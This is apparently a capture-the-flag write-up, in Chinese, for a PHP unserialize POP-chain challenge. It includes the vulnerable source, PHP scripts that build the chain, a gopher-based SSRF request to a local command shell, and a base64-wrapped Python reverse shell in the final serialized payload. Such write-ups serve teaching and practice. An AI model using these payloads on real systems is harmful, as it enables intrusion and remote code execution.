POP构造 访问页面直接是一个POP构造题:hint.php直接访问是Only local administrators can get something
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php include ("waf.php" );class A { public $source ; public $str ; public function __construct ( ) { echo 'Welcome to index.php' ."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class B { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } class C { protected $var ; public function curl ($url ) { $ch = curl_init (); curl_setopt ($ch ,CURLOPT_URL,$url ); curl_setopt ($ch ,CURLOPT_HEADER,0 ); curl_exec ($ch ); } public function __invoke ( ) { $this ->curl ($this ->var ); } } if (isset ($_POST ['pop' ])){ @unserialize ($_POST ['pop' ]); } else { highlight_file (__FILE__ ); } ?>
利用点比较明显:curl_exec($ch);,加上过滤了gopher等等关键字和题目名,就是打SSRF了。梳理一下链子怎么构造:class B提供了一个__get用来call function,class A提供了一个__toString来调用$str对象的属性,这里如何绕过preg_match?,很简单,class A的__toString调用的是$this->str->source,而不是$this->source,那么将$this->str设置为另一个A类的实例即可,所以
1 2 3 4 5 6 7 8 A::__wakeup () -> preg_match ($this ->source) -> 如果 source 是对象,触发 A::__toString () -> $this ->str->source -> B::__get () -> $function () -> C::__invoke () -> C::curl ($this ->var )
可以构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class A { public $source ; public $str ; } class B { public $p ; } class C { protected $var ; } $a1 = new A ();$a2 = new A ();$b = new B ();$c = new C ();$a1 ->source = $a2 ;$a2 ->str = $b ;$b ->p = $c ;$ref = new ReflectionClass ($c );$prop = $ref ->getProperty ("var" );$prop ->setAccessible (true );$prop ->setValue ($c , "file:///var/www/html/hint.php" );echo urlencode (serialize ($a1 ));
读取到hint:拿到作者埋的shell,那现在就要带上5hell参数,用gopher协议即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $ip = $_SERVER ["REMOTE_ADDR" ];if ($ip != "127.0.0.1" ){ die ("Only local administrators can get something\n" ); } else { echo "Maybe you should read this file" ; system ($_POST ['5hell' ]); }
GetShell 这里折腾了很久,一直在尝试写webshell,发现只有/tmp目录可写,说明web目录没有写入权限,尝试反弹shell,这里用base64编码一下比较好,直接urlencode容易在反序列化的时候统计错误字符个数。选择python也是因为直接bash不成功,所以ls /usr/bin看了一下能够用的程序,php应该也能弹。
payload生成:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php class A { public $source ; public $str ; }class B { public $p ; }class C { protected $var ; }$a1 = new A ();$a2 = new A ();$b = new B ();$c = new C ();$pythonCmd = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' ;$b64Cmd = base64_encode ($pythonCmd );$body = "5hell=echo $b64Cmd | base64 -d | python3" ;$encodedBody = urlencode ($body );$realBodyLen = strlen ($body );$url = "gopher://127.0.0.1:80/_POST%20/hint.php%20HTTP/1.0%0D%0AHost:%20127.0.0.1%0D%0AConnection:%20close%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%20" . $realBodyLen . "%0D%0A%0D%0A" . $encodedBody ;$ref = new ReflectionClass ($c );$prop = $ref ->getProperty ("var" );$prop ->setAccessible (true );$prop ->setValue ($c , $url );$a1 ->source = $a2 ;$a2 ->str = $b ;$b ->p = $c ;echo urlencode (serialize ($a1 ));?>
1 2 ?pop= O%3A1%3A%22A%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A515%3A%22gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%2520%2Fhint.php%2520HTTP%2F1.0%250D%250AHost%3A%2520127.0.0.1%250D%250AConnection%3A%2520close%250D%250AContent-Type%3A%2520application%2Fx-www-form-urlencoded%250D%250AContent-Length%3A%2520317%250D%250A%250D%250A5hell%253Decho%2BaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjQ3LjkzLjI1NC4zMSIsNzc3NykpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3N1YnByb2Nlc3MuY2FsbChbIi9iaW4vYmFzaCIsIi1pIl0p%2B%257C%2Bbase64%2B-d%2B%257C%2Bpython3%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
获取实时shell:
1 2 3 python3 -c 'import pty;pty.spawn("/bin/bash");' CTRL + Z stty raw -echo ;fg
直接读取flag没有权限,作者说不用提权,那就研究一下/readflag
1 2 file /readflag /readflag: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=076bc9f27e5a724b1bfc3dc13fad0c8924737e51, not stripped
base64 /readflag读取出来,然后解码一下:
找到/opt/config.conf,研究一下,居然直接出了,flag{f09402a5258a3c955743121d581592fe}